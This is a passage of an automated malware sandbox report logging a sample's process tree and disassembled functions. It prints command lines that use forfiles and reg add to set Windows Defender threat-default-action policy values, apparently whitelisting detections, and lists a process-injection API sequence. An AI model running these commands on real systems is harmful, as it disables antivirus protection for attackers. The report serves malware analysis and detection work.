Commandline:	"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	00:17:28
Start date:	30/08/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0x500000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	00:17:28
Start date:	30/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	00:17:28
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Imagebase:	0xf40000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	00:17:28
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	00:17:28
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Imagebase:	0x8c0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	00:17:29
Start date:	30/08/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0x500000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	00:17:31
Start date:	30/08/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	30.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	37.9%
Total number of Nodes:	29
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0336258D Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 033626FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0336270F
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 0336272D
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03362751
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 0336277C
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 033627D4
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 0336281F
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0336285D
Wow64SetThreadContext.KERNEL32(?,?), ref: 03362899
ResumeThread.KERNELBASE(?), ref: 033628A8

Strings

aryA, xrefs: 033625D3
Load, xrefs: 033625CB
ress, xrefs: 03362617
GetP, xrefs: 0336260F

Memory Dump Source

Source File: 00000002.00000002.1833966375.0000000003362000.00000040.00000800.00020000.00000000.sdmp, Offset: 03362000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3362000_E7ZgIS5gIvcD0qYA4MsN8rsr.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 2215a61fd6bd3356bdc7134ee2e4963f1e3c4a48f97763e15580c4da925975f4
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 50B1F67660024AAFDB60CF68CC80BDA77A9FF88714F158564EA0CEB345D774FA418B94

Function 03160B3A Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 336
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(04363594,?,?,?), ref: 03160FB9

Strings

<1i;, xrefs: 03160CBC
#l>@, xrefs: 03160DA9

Memory Dump Source

Source File: 00000002.00000002.1833789194.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3160000_E7ZgIS5gIvcD0qYA4MsN8rsr.jbxd

Similarity

API ID: ProtectVirtual
String ID: #l>@$<1i;
API String ID: 544645111-2199172079
Opcode ID: 2560c4bc1aba7522dab89eb5c1e9362191e644ff8a0237401a72ba1c9713c534
Instruction ID: 7f79a3c03a33e9a87d06af9db3afba254356211e5e27b7cc6515783d1d893ae8
Opcode Fuzzy Hash: 2560c4bc1aba7522dab89eb5c1e9362191e644ff8a0237401a72ba1c9713c534
Instruction Fuzzy Hash: EBD17AB0D046688BDB11CFE9C880AAEFBB6BF4C314F248599E459EB345D7349991CF90

Function 03160504 Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(?,00000000,?,?,00000000,?,?), ref: 0316109C

Memory Dump Source

Source File: 00000002.00000002.1833789194.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3160000_E7ZgIS5gIvcD0qYA4MsN8rsr.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: d020a229e32913f2ab09489461b41f078f30f963b1539d5b6521420f769e1523
Instruction ID: 7601e1b7603cd5966c47c4020d0b42422b59a2d6b97173c7f2329065e2a827c0
Opcode Fuzzy Hash: d020a229e32913f2ab09489461b41f078f30f963b1539d5b6521420f769e1523
Instruction Fuzzy Hash: 8331FEB1900249AFCB10CF9AD984ADEBBF5FB48310F20842AE918A7250D775A950CBA5

Function 03160FF8 Relevance: 1.6, APIs: 1, Instructions: 68
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(?,00000000,?,?,00000000,?,?), ref: 0316109C

Memory Dump Source

Source File: 00000002.00000002.1833789194.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3160000_E7ZgIS5gIvcD0qYA4MsN8rsr.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: d893d1885137227011af470edbc608d6d75236894c679785a5ace7117c5ecae0
Instruction ID: 6e5c98f0e925a0b927ce2acd8da096394b01a2bbb5013efc481baee077f04b5b
Opcode Fuzzy Hash: d893d1885137227011af470edbc608d6d75236894c679785a5ace7117c5ecae0
Instruction Fuzzy Hash: 1B3104B5901249DFCF10CF9AD984ADEBBF1FB48310F208429E818A3350D375A954CFA5

Function 031604F8 Relevance: 1.6, APIs: 1, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(04363594,?,?,?), ref: 03160FB9

Memory Dump Source

Source File: 00000002.00000002.1833789194.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3160000_E7ZgIS5gIvcD0qYA4MsN8rsr.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9c3c12ccc818d62ad7bff226a14803fb716c75ba90497414eaeffb8423b4cc07
Instruction ID: 64173708a700a432d2b4e78c29068188a9594c63b316f0fda44056e051f507f9
Opcode Fuzzy Hash: 9c3c12ccc818d62ad7bff226a14803fb716c75ba90497414eaeffb8423b4cc07
Instruction Fuzzy Hash: A821E3B1905619AFCB00DF9AC884ADEFBB4FB4C310F10816AE918A7240D7B4A954CFE1

Analysis Process: 3rS3zgtrHYzvSBWEegYZ8AEZ.exePID: 7796, Parent PID: 7556COMMON

Execution Graph

Execution Coverage:	30.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	29
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 030B258D Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 030B26FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 030B270F
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 030B272D
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 030B2751
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 030B277C
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 030B27D4
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 030B281F
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 030B285D
Wow64SetThreadContext.KERNEL32(?,?), ref: 030B2899
ResumeThread.KERNELBASE(?), ref: 030B28A8

Strings

Load, xrefs: 030B25CB
aryA, xrefs: 030B25D3
GetP, xrefs: 030B260F
ress, xrefs: 030B2617

Memory Dump Source

Source File: 00000003.00000002.1831986230.00000000030B2000.00000040.00000800.00020000.00000000.sdmp, Offset: 030B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_30b2000_3rS3zgtrHYzvSBWEegYZ8AEZ.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 3b1853275708a9fa41fe10b244456775ba3a6b40b7850a884022370ecd0d5692
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: F3B1F67264124AAFDB60CF68CC80BDA73A9FF88714F158564EA0CAB341D774FA418B94

Function 016F0B3A Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 336
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(040B3594,?,?,?), ref: 016F0FB9

Strings

#l>@, xrefs: 016F0DA9
<1i;, xrefs: 016F0CBC

Memory Dump Source

Source File: 00000003.00000002.1831823614.00000000016F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_16f0000_3rS3zgtrHYzvSBWEegYZ8AEZ.jbxd

Similarity

API ID: ProtectVirtual
String ID: #l>@$<1i;
API String ID: 544645111-2199172079
Opcode ID: 99ef3ea436b00c85d061cf520954518d2467786ad7fc7399d4811684f0d61b25
Instruction ID: a646ff57815459c00c226842af96896eec0336941b0e20d97027999e101cb6a5
Opcode Fuzzy Hash: 99ef3ea436b00c85d061cf520954518d2467786ad7fc7399d4811684f0d61b25
Instruction Fuzzy Hash: F6D17DB0D012598BDB21CFA9CC80AAEFBF2BF49314F248559E559EB356C7309941CF90

Function 016F0504 Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(?,00000000,?,?,00000000,?,?), ref: 016F109C

Memory Dump Source

Source File: 00000003.00000002.1831823614.00000000016F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_16f0000_3rS3zgtrHYzvSBWEegYZ8AEZ.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 4d4199007b4c584aec890c39e5fd857376ee408ab5bdf032412d071b7a083917
Instruction ID: fb69484047acfb9d520ae487e087bbf3fff7a3a7bfc7a9a164b481135b33c98e
Opcode Fuzzy Hash: 4d4199007b4c584aec890c39e5fd857376ee408ab5bdf032412d071b7a083917
Instruction Fuzzy Hash: 643102B5A00249DFCB10CF99D884ADEBBF4FB48310F20842DE919A7350D775A954CFA4

Function 016F0FF8 Relevance: 1.6, APIs: 1, Instructions: 68
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(?,00000000,?,?,00000000,?,?), ref: 016F109C

Memory Dump Source

Source File: 00000003.00000002.1831823614.00000000016F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_16f0000_3rS3zgtrHYzvSBWEegYZ8AEZ.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 489d412ed01fd17baee23be8b0d5fff976ceb3c31851d3a399ad226cac1ef879
Instruction ID: e4cd4b371726151c25400ae8d95079a0537517363f2cc88bc8cd8342c928eb0c
Opcode Fuzzy Hash: 489d412ed01fd17baee23be8b0d5fff976ceb3c31851d3a399ad226cac1ef879
Instruction Fuzzy Hash: D931FEB5A01249DFCB10CFA9D884ADEBBF1FB48310F20842AE919A3350D775A954CFA0

Function 016F04F8 Relevance: 1.6, APIs: 1, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(040B3594,?,?,?), ref: 016F0FB9

Memory Dump Source

Source File: 00000003.00000002.1831823614.00000000016F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_16f0000_3rS3zgtrHYzvSBWEegYZ8AEZ.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9fd217f2d8dbb351e85bac818c65de820ee8e19aa0b1a3dfab71c2a1a57747c5
Instruction ID: b900659d1db2ba4a2ef09a5381dc069002d4941a16c5803d93b44e2545e0a29e
Opcode Fuzzy Hash: 9fd217f2d8dbb351e85bac818c65de820ee8e19aa0b1a3dfab71c2a1a57747c5
Instruction Fuzzy Hash: C721F2B590561DAFCB00DF9AC884ADEFBB5FB48310F10812AE918A7341D3B4A954CFE1

Analysis Process: iyhiDENXt_q0EUrAsx1Gpb4x.exePID: 7836, Parent PID: 7556COMMON

Execution Graph

Execution Coverage:	15.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	44

Executed Functions

Function 00414B04 Relevance: 6.1, APIs: 4, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00414B2A

Part of subcall function 004159F8: HeapCreate.KERNELBASE(00000000,00001000,00000000,00414B62,00000001), ref: 00415A09
Part of subcall function 004159F8: HeapDestroy.KERNEL32 ref: 00415A48

GetCommandLineA.KERNEL32 ref: 00414B8A
GetStartupInfoA.KERNEL32(?), ref: 00414BB5
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00414BD8

Part of subcall function 00414C31: ExitProcess.KERNEL32 ref: 00414C4E

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: e3a55e15dfbba78f576db0669a4780403b126b59620817d16bca0fbeb85d5517
Instruction ID: b13fe99396feb2249fb7197ea22bdd2eb3a8d4431b5d50e9622b99800ed9eeb5
Opcode Fuzzy Hash: e3a55e15dfbba78f576db0669a4780403b126b59620817d16bca0fbeb85d5517
Instruction Fuzzy Hash: 0721D2B0A44705AFD718AFB6DC46BEE7BB8EF44714F10052FF9009A291DB3C85808A9C

Function 004055DE Relevance: 6.1, APIs: 4, Instructions: 59
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004055E3

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

FindFirstFileW.KERNELBASE(?,?), ref: 00405611
AreFileApisANSI.KERNEL32(?), ref: 0040563D
FindFirstFileA.KERNEL32(?,?,00000001), ref: 0040565E

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: FileFind$First$ApisCloseH_prolog
String ID:
API String ID: 4121580741-0
Opcode ID: fcb5256250039c908afd196fb8e76c17c38080862ebf91937f58451f3d562862
Instruction ID: 53571c6d670a3437f98eaf3b47711b77fa147e423a783867877babb07b55427d
Opcode Fuzzy Hash: fcb5256250039c908afd196fb8e76c17c38080862ebf91937f58451f3d562862
Instruction Fuzzy Hash: AB21813180050ADFCF11EF60C8459EEBB75EF00329F10476AE4A5B61E1DB399A85CF48

Function 0040553A Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

FindFirstFileA.KERNELBASE(?,?,000000FF), ref: 00405559

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 4d5417fc6ca074e65557f02866c61fee52306747aaa4eef42dce5467d8724910
Instruction ID: 4d0f5172a85985fc9641596f45f8b0e99eb03685ed3a07152804d04183bf4296
Opcode Fuzzy Hash: 4d5417fc6ca074e65557f02866c61fee52306747aaa4eef42dce5467d8724910
Instruction Fuzzy Hash: 5DE0923040050876CB20BF35DC019EB776AEF11398F104276F955672E5D738D9468F98

Function 00401014 Relevance: 56.7, APIs: 12, Strings: 20, Instructions: 692
windowsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401A51: GetVersionExA.KERNEL32(?), ref: 00401A6B

GetCommandLineW.KERNEL32(00000003,00000003,00000003,00000003,?,00000000), ref: 0040108B

Part of subcall function 004038EE: __EH_prolog.LIBCMT ref: 004038F3

Part of subcall function 004045E2: __EH_prolog.LIBCMT ref: 004045E7
Part of subcall function 004045E2: GetModuleFileNameW.KERNEL32(?,?,00000105,00000003,00000000,00000000), ref: 00404618

Part of subcall function 0040235E: __EH_prolog.LIBCMT ref: 00402363

Part of subcall function 00402323: __EH_prolog.LIBCMT ref: 00402328

Part of subcall function 00403D5A: __EH_prolog.LIBCMT ref: 00403D5F

MessageBoxW.USER32(00000000,?,?,00000010), ref: 004015DF
SetCurrentDirectoryA.KERNELBASE(?,?,00000001,?,?,00000003,00000003,0042023C,;!@InstallEnd@!,?,00000003,00000000,00000002,00420274,00000003,?), ref: 0040161E
SetCurrentDirectoryA.KERNEL32(?,?,00000000), ref: 00401627
ShellExecuteExA.SHELL32(0000003C,?,00000000), ref: 004016D7
MessageBoxW.USER32(00000000,?,?,00000024), ref: 00401306

Part of subcall function 00411093: MessageBoxW.USER32(00000000,?,7-Zip,00000010), ref: 0041109C

Part of subcall function 00402F15: __EH_prolog.LIBCMT ref: 00402F1A

SetCurrentDirectoryA.KERNEL32(?,?,00000000), ref: 004018B2
CloseHandle.KERNEL32(?,?,00000000), ref: 00401940
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000), ref: 00401965
CloseHandle.KERNEL32(?,?,00000000), ref: 0040196E
SetCurrentDirectoryA.KERNELBASE(?,?,00000000), ref: 00401977

Strings

Can not open file, xrefs: 004016EB
Can not create temp folder archive, xrefs: 004014DC
Title, xrefs: 00401212
Config failed, xrefs: 004011FE
;!@Install@!UTF-8!, xrefs: 00401178
Can't load config info, xrefs: 0040118B
%%T, xrefs: 004017CD
;!@InstallEnd@!, xrefs: 00401173
Can not load codecs, xrefs: 0040152A
ExecuteParameters, xrefs: 0040141D
> @, xrefs: 004011DC
RunProgram, xrefs: 0040139D
%%T\, xrefs: 0040179E
ExecuteFile, xrefs: 004013DD
D, xrefs: 00401821
, xrefs: 004016DD
Can not find setup.exe, xrefs: 00401776
<, xrefs: 0040166B
setup.exe, xrefs: 00401731
Directory, xrefs: 004012A9

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog$CurrentDirectory$Message$CloseHandle$CommandExecuteFileLineModuleNameObjectShellSingleVersionWait
String ID: $%%T$%%T\$;!@Install@!UTF-8!$;!@InstallEnd@!$<$> @$Can not create temp folder archive$Can not find setup.exe$Can not load codecs$Can not open file$Can't load config info$Config failed$D$Directory$ExecuteFile$ExecuteParameters$RunProgram$Title$setup.exe
API String ID: 2760820266-829806607
Opcode ID: 2ae731fc3f4a3823738156fd9143628e005fdebe6c7a76c6afd666806b1dc003
Instruction ID: 30a6e78c0a87ce65c61bf6c489231b06ab30573cf11c386798d37ebdc1e5dfdc
Opcode Fuzzy Hash: 2ae731fc3f4a3823738156fd9143628e005fdebe6c7a76c6afd666806b1dc003
Instruction Fuzzy Hash: 57524971D002199ADF21EFA1DC85AEEBB75BF04318F1040BFE149761A2DB395A85CF58

Function 0040AD19 Relevance: 14.2, APIs: 9, Instructions: 682
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0040AD1E

Part of subcall function 0040D7CC: __EH_prolog.LIBCMT ref: 0040D7D1

Part of subcall function 00413310: InitializeCriticalSection.KERNEL32(?,?,?,00000000,00000000), ref: 0041333E

DeleteCriticalSection.KERNEL32(?), ref: 0040AF52
DeleteCriticalSection.KERNEL32(?), ref: 0040B1DF
DeleteCriticalSection.KERNEL32(?), ref: 0040B24A
DeleteCriticalSection.KERNEL32(?), ref: 0040B2A7
DeleteCriticalSection.KERNEL32(?), ref: 0040B3B6
DeleteCriticalSection.KERNEL32(?), ref: 0040B410
DeleteCriticalSection.KERNEL32(?,?,?,00000004,00000004), ref: 0040B485
DeleteCriticalSection.KERNEL32(?), ref: 0040B517

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: CriticalSection$Delete$H_prolog$Initialize
String ID:
API String ID: 3452124646-0
Opcode ID: 5f6b8a8cdbdc89edeaeca9fb6a48680f4fe42b6689f54ac84f6a401f85157967
Instruction ID: 06aa0bffc57edc8446930be4fb3d3ecc4288fdccd94c57135405988f21593cb0
Opcode Fuzzy Hash: 5f6b8a8cdbdc89edeaeca9fb6a48680f4fe42b6689f54ac84f6a401f85157967
